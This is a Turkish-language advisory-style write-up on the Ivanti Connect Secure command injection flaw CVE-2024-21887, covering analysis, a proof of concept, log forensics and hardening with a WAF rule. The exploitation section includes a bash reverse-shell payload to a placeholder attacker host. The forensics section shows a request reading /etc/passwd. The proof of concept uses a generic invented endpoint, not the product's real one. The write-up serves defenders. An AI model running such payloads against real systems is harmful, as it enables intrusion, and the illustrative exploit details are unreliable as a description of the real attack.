CVE-2024-21887: Ivanti Connect Secure and Policy Secure Command Injection Vulnerability

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

CVE-2024-21887, Ivanti Connect Secure ve Policy Secure ürünlerinde tespit edilen bir komut enjeksiyonu (command injection) zafiyetidir. Bu zafiyet, özellikle kimlik doğrulaması yapılmış yöneticilerin, etkilenmiş cihazlarda kötü amaçlı kod çalıştırmasına olanak tanıyabilir. Gelen isteklerin, sistemin çatısında işlenen web bileşenleri aracılığıyla yaratılarak gönderilebilmesi, siber saldırganların cihazları kolaylıkla ele geçirmesine olanak tanır.

Zafiyet, 2024 yılının başında keşfedilmiştir ve Ivanti'nin kullanıcılarının güvenliğini ciddi şekilde tehdit etmektedir. Ivanti Connect Secure (eski adıyla Pulse Connect Secure) ve Ivanti Policy Secure, geniş bir kullanıcı tabanına hitap eden, güvenli uzaktan erişim çözümleri sunan ürünlerdir. Bu zafiyetten etkilenen kütüphaneler, yazılımın iş mantığını yöneten ve ağ üzerindeki talepleri işleyen bileşenlerdir. Özellikle, yetkilendirilmiş kullanıcıların sistem içinde yetkisiz işlem yapabilmesine olanak tanıyan bir hata söz konusudur.

Gerçek dünya senaryolarına gelirsek, bir şirketin BT yöneticisi, Ivanti'nin geliştirdiği bu ürünleri kullanarak uzaktan erişim sağladığı bir yapılandırmaya sahip olabilir. Eğer bir saldırgan, bu yapının yönetici moduna erişim sağlarsa, CVE-2024-21887 zafiyetini kullanarak uzaktan kod çalıştırma (RCE - Uzaktan Kod Çalıştırma) saldırısı gerçekleştirebilir. Saldırgan, web arabirimini kullanarak zarar verici komutlar gönderebilir ve sistem üzerinde tam kontrol elde edebilir. Özellikle finans, sağlık ve kamu sektörü gibi hassas verilerin yer aldığı alanlar, bu tip zafiyetlere karşı oldukça savunmasızdır.

Zafiyetin tespiti ve kamuoyuna duyurulmasıyla birlikte, birçok işletme acil olarak sistemlerini güncellemeye yönelmiştir. Bu tür bir zafiyetin keşfi, kullanıcıların şifre güvenliğini artırmaları ve yönetici hesaplarının güvenliğine yönelik sıkı önlemler almaları gerektiğini vurgular. Ayrıca, CVE-2023-46805 adlı bir başka zafiyetle birlikte kullanıldığında, yetkisiz erişim (Auth Bypass - Kimlik Doğrulama Atlatma) ile birleşerek daha yıkıcı sonuçlar doğurması muhtemeldir.

Bu durum, sistem yöneticilerini ve güvenlik uzmanlarını, uygulama katmanındaki güvenlik açıklarını daha dikkatli incelemeye zorlamaktadır. Bunun yanı sıra, sürekli bir denetim mekanizması kurmak, yazılım güncellemelerini takip etmek ve risk değerlendirmesi yapmak son derece önemlidir. İşletmeler, yalnızca güvenlik güncellemelerine odaklanmakla kalmamalı, aynı zamanda bu tür zafiyetlerle başa çıkmak için güçlü bir güvenlik pratiği geliştirmelidir.

Sonuç olarak, CVE-2024-21887 zafiyeti, ciddi bir tehdit oluşturmaktadır ve dünya genelinde birçok sektörü etkilemektedir. Özellikle büyük ölçekli işletmeler, bu tür zafiyetlerin farkında olmalı ve sistemlerini korumak için gerekli önlemleri almalıdır. Siber güvenlik alanında çalışan uzmanlar, bu tip zafiyetler hakkında bilgi sahibi olarak, sistemlerinin güvenliğini sağlamada daha etkili olabilirler.

Teknik Sömürü (Exploitation) ve PoC

Ivanti Connect Secure (ICS) ve Ivanti Policy Secure, günümüzde birçok kuruluşun VPN (Sanal Özel Ağ) hizmetleri için tercih ettiği çözümlerdir. Ancak, bu ürünlerdeki CVE-2024-21887 zafiyeti, güvenlik açısından ciddi bir tehdit oluşturmaktadır. Bu zafiyet, bir saldırganın (özellikle de yetkili bir yönetici pozisyonundaki bir kullanıcının), hedef cihazda uzaktan kod çalıştırmasına (RCE - Uzaktan Kod Çalıştırma) olanak tanıyan bir komut enjeksiyonu (Command Injection) açığıdır. Bu bölümde, bu zafiyetin sömürülmesi için gereken adımlar ve teknik senaryolar üzerinde duracağız.

İlk olarak, Ivanti ortamına giriş yaparak yetkili bir kullanıcı olarak oturum açmamız gerekiyor. Bu aşamada, zafiyetten faydalanmak için gerekli olan izinlere sahip olduğumuzdan emin olmalıyız. Özellikle bu tür zafiyetlere maruz kalan sistemlerde, güvenlik yönetim politikalarının sıkı bir şekilde yapılandırıldığından emin olunması önemlidir.

İkinci adımda, zafiyeti çalıştıracak olan payload'ı oluşturmalıyız. Komut enjeksiyonu zafiyetleri genellikle, kullanıcıdan alınan girdilerin dışarıdan gelen zararlı komutlarla birleştirilmesinden faydalanır. İşte basit bir örnek:

GET /command?cmd=ping%20-c%201%20192.168.1.1 HTTP/1.1
Host: vulnerable-website.com

Yukarıdaki request, "ping" komutunu hedef IP'ye göndermektedir. Burada 'cmd' parametresi, hala değeri değiştirilmemiş olan diğer yetkilendirilmiş komutların çıktılarında kullanılmak üzere bir komut olarak belirlenmiştir.

Üçüncü aşamada, yetkilendirme bypass (Auth Bypass) açığını kullanarak zafiyeti daha etkin bir şekilde ele alabiliriz. CVE-2023-46805 açığı, yönetici kullanıcılarının yetkilerini aşmamıza olanak tanır. Bu durum, bir yandan sayfa üzerinde manipülasyon yaparken, diğer yandan kodun zararlı veya istenmeyen bir komutla çalıştırılmasına neden olabilir.

Saldırıyı gerçekleştirdiğimizde, sunucunun yanıtını dikkatlice analiz etmeliyiz. Aşağıdaki örnek, tehdit vektörünün başarılı bir şekilde çalıştığını gösteren bir HTTP yanıtıdır:

HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 85

PING 192.168.1.1 (192.168.1.1) 56(84) bytes of data.
64 bytes from 192.168.1.1: icmp_seq=1 ttl=64 time=0.049 ms

Son aşama, elde edilen bilgileri daha ileri düzeyde kullanmak veya daha karmaşık komutları çalıştırmaktır. Örneğin, bir shell açmak veya kritik sistem dosyalarına erişmek için aşağıdaki gibi zararlı bir payload kullanabiliriz:

GET /command?cmd=/bin/bash%20-i%20&gt;&amp;%20/dev/tcp/attacker-ip/port%200&lt;&amp;1 HTTP/1.1
Host: vulnerable-website.com

Bu teknik, bir ters shell elde etmemizi sağlar; bu da, uzaktan bir saldırganın hedef sistemde tam kontrol sağlamasına olanak tanır.

Sonuç olarak, Ivanti Connect Secure ve Policy Secure'daki CVE-2024-21887 zafiyeti, güvenlik tehditlerini artıran önemli bir açığı temsil etmektedir. Bu tür zafiyetlerin üstesinden gelmek için, hem yazılım güncellemeleri uygulanmalı hem de ağ güvenlik duvarı politikaları sıkı bir şekilde gözden geçirilmelidir. White Hat hacker olarak, zafiyetlerin tespit edilmesi ve raporlanması yoluyla sistemlerin güvenliğini artırmak için bu bilgilerin paylaşılması son derece önceliklidir.

Forensics (Adli Bilişim) ve Log Analizi

Ivanti Connect Secure (ICS) ve Ivanti Policy Secure, güçlü güvenlik özellikleri sunmalarına rağmen, CVE-2024-21887 zafiyeti nedeniyle ciddi bir risk potansiyeline sahip. Bu zafiyet, yetkili bir yöneticinin, etkilenmiş cihazlarda kod yürütme (RCE - Remote Code Execution) için kötü niyetli istekler göndererek komut enjeksiyonu (Command Injection) yapmasına olanak tanır. Özellikle bu zafiyetin, CVE-2023-46805 ile birleştiğinde kimlik doğrulama atlatma (Auth Bypass) gibi daha karmaşık saldırılara yönlendirebileceği unutulmamalıdır.

Bir siber güvenlik uzmanı, bu tür bir saldırının gerçekleşip gerçek zamanlı olarak tespit edilmesi için çeşitli log dosyalarını ve SIEM (Security Information and Event Management) sistemlerini incelemelidir. Log analizinde yapılması gerekenler ve dikkat edilmesi gereken imzalar şu şekildedir:

Öncelikle, olayların kaydedildiği log dosyalarının dikkatle incelenmesi gerekir. Özellikle access log (erişim günlüğü) ve error log (hata günlüğü) dosyaları, sistemdeki olağan dışı davranışları tespit etmek için kritik öneme sahiptir. Aşağıda belirtilen noktalar, log analizi sırasında göz önünde bulundurulmalıdır:

Anormal İstekler: Log dosyalarında, belirli komutları veya kod parçacıklarını içeren HTTP isteklerine dikkat edilmelidir. Örneğin, bir yöneticinin normalde göndermeyeceği, exec, system, cmd gibi fonksiyonları içeren istekler aranmaktadır.

   GET /admin/execute?command=cat /etc/passwd HTTP/1.1

İzin Dışı Erişim Denemeleri: Loglar, yetkisiz kullanıcıların veya belirli IP adreslerinin sıkça belirli sayfaları ziyaret ettiğine dair belirtiler içermelidir. Auth Bypass saldırıları genellikle geçersiz veya aşırı sayıda başarılı giriş denemeleri ile ilişkilidir.
Hatalı Yanıtlar: Error log'larında sıkça yer alan hatalı yanıtların analizi yapılmalıdır. Bu hatalar, genellikle bir komutun çalıştırılmaya çalışıldığına dair ipuçları verir.

   [error] Command injection attempt detected: command 'uname -a' failed

Olağan Dışı IP Adresleri: Belirli coğrafi bölgelerden gelen isteklerin analizi, potansiyel bir saldırganın tanımlanmasına yardımcı olabilir. Normalde erişim göstermeyen bölgelere dair IP adresleri tespit edilmelidir.
Anomalik Zaman Dilimleri: Özellikle bir kuruluşun çalışma saatleri dışında yoğun istek veya işlem yapılması, potansiyel bir saldırıyı işaret edebilir.

Log analizi ile saldırının tespiti sadece ilk adım olmalıdır. Bunu takip eden adım, tespit edilen olumsuzluklara karşı sistemin nasıl koruma altına alınacağını planlayarak gerekli yamaların ve güncellemelerin yapılmasıdır. Ayrıca, siber güvenlik ekipleri bu tür zayıflıklara karşı önceden tedbir olarak, ek güvenlik kontrolleri ve izleme sistemleri kurmalıdır.

Sonuç olarak, Ivanti ürünlerinde CVE-2024-21887 zafiyetine karşı alınacak önlemleri sadece teknik beceri ile sınırlı tutmamak, aynı zamanda etkili log yönetimi ve analizi ile zayıf noktaların tespit edilmesini sağlamak, siber güvenlik stratejisinin merkezinde yer almalıdır.

Savunma ve Sıkılaştırma (Hardening)

Ivanti Connect Secure (ICS) ve Ivanti Policy Secure, geniş bir kullanıcı kitlesine hitap eden, özellikle uzaktan erişim çözümleri sağlayan ürünlerdir. Ancak, CVE-2024-21887 zafiyetinin ortaya çıkması, bu tür sistemlerin nasıl sıkılaştırılması gerektiğini ve güvenlik açıklarının nasıl giderileceğini bir kez daha gündeme getiriyor. Bu zafiyet, web bileşenlerinde bir komut enjeksiyonu (command injection) açığına yol açarak, yetkili bir yöneticinin kaleme aldığı sahte isteklerle etkilenen cihazlarda kod çalıştırmasına olanak tanıyor. Bu durum, özellikle bir siber saldırganın sistemin üzerinde tam kontrol elde etmesi için çok değerli bir fırsat sunuyor.

Zafiyetin istismar edilebilmesi için öncelikle bir "authenticated bypass" (yetkilendirilmiş geçiş) açığından faydalanarak sisteme giriş yapılması gerektiği için, sistemlerinizi bu tür saldırılara karşı korumak adına atılacak ilk adım, gerekli kimlik doğrulama mekanizmalarını güçlendirmektir. Bu mekanizmaların yanı sıra, özellikle şifre politikalarınızı güncelleyerek güçlü ve zor tahmin edilebilir şifreler belirlemeniz gerekmektedir.

Performans izleme ve log yönetimi, sistemin davranışlarını anlamak ve şüpheli etkinlikleri tespit etmek için kritik öneme sahiptir. Log'larınızı bir merkezi yönetim platformuna yönlendirerek bu aktiviteleri daha iyi izleyebilir ve daha hızlı bir şekilde yanıt verebilirsiniz. Örneğin, bir sistemde çok fazla sayıda başarısız giriş denemesi olması durumunda, sistem yöneticilerinin derhal müdahale etmesi gerekebilir.

Bununla birlikte, zafiyetin doğasına uygun olarak, uygulanması gereken bir başka önemli güvenlik önlemi de uygulanmış WAF (Web Application Firewall - Web Uygulama Güvenlik Duvarı) kurallarının güncellenmesidir. Belirli payload'ları (yükler) filtrelemek ve komut enjeksiyonu denemelerini engellemek için aşağıda örnek bir WAF kuralı verilmiştir:

SecRule REQUEST_HEADERS "(/bin|/usr|/etc|;|&amp;&amp;|\||\`)" "id:1001, phase:2, deny, log, msg:'Komut Enjeksiyonu Tespiti'"

Bu kural, isteklerin başlıklarında bazı tehlikeli karakter veya dizelerin varlığını kontrol eder ve eğer tespit edilirse isteği reddeder. Bunun yanı sıra, sürekli güncellemelerle bu kuralları optimize etmek, yeni emergent tehditlere karşı korunmayı artıracaktır.

Ivanti sistemlerinin kalıcı olarak sıkılaştırılması için aşağıdaki adımları izleyebilirsiniz:

Güncellemelerin Yönetimi: Ürünlerin en güncel sürümlerini kullanarak bilinen zafiyetlerin kapatıldığından emin olun. Ivanti'nin resmi web sitesinden veya güvenlik bültenlerinden güncellemeleri takip edin.
İzinlerin Sıkı Kontrolü: Yönetici hesaplarının izinlerini gözden geçirin ve yalnızca ihtiyaç duyan kullanıcılara gerekli erişim yetkilerini verin. Bunun yanı sıra, sistemdeki tüm kullanıcı hesapları üzerinde düzenli denetimler yapın.
Ağ Segmentasyonu: Sistemlerinizi ve verilerinizi korumak için ağ segmentasyonu yaparak herhangi bir potansiyel istismar durumunda zararın sınırlandırılmasını sağlayın.
Güçlü Güvenlik Duvarları: Ek güvenlik sağlamak için donanım ve yazılım bazlı güvenlik duvarlarına yatırım yapın. Özellikle, dışardan gelen trafiği sıkı kurallarla denetleyin.
Olay Müdahale Planları: Olası bir güvenlik ihlali durumunda hızlı bir şekilde yanıt verebilmek için olay müdahale planları hazırlayın ve çalışanların bu planları uygulama konusunda eğitim almasını sağlayın.

En iyi uygulamalarla birlikte, düzenli denetim ve güncellemelerle birlikte, Ivanti Connect Secure ve Policy Secure sistemlerinizi güvenli bir şekilde çalıştırabilir, komut enjeksiyonu, yetkilendirme bypass'ı gibi zafiyetlerin yol açabileceği riskleri minimize edebilirsiniz.